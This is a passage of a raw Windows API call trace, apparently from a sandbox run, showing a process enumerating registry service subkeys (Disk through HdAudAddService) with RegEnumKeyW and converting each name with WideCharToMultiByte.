dwIndex=0x56, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Disk") returned 0x0 [0251.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0251.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0251.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0251.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0251.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0251.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0251.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0251.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DPS") returned 0x0 [0251.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0251.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0251.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0251.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0251.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0251.113] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0251.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0251.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0251.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0251.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0251.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0251.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EFS") returned 0x0 [0251.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0251.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0251.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0251.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0251.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0251.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x1dd29e0, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0251.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0251.114] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0251.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0251.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0251.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0251.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x1dd29e0, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0251.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0251.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0251.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x1de4768, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0251.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x1dd29e0, cchName=0x104 | out: lpName="exfat") returned 0x0 [0251.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0251.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0251.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0251.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fax") returned 0x0 [0251.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0251.115] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdc") returned 0x0 [0251.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x1de4768, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0251.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0251.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0251.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0251.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0251.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0251.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0251.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0251.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0251.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x1de4768, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0251.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x1dd29e0, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0251.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0251.116] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0251.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0251.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0251.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0251.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x1de4450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0251.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0251.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0251.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x1de4768, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0251.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0251.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0251.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x1de4450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0251.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0251.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0251.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0251.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0251.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0251.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0251.117] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0251.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0251.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0251.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0251.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0251.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0251.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0251.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0251.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0251.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0251.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x1de4450, cbMultiByte=15, lpDefaultChar=0x0, 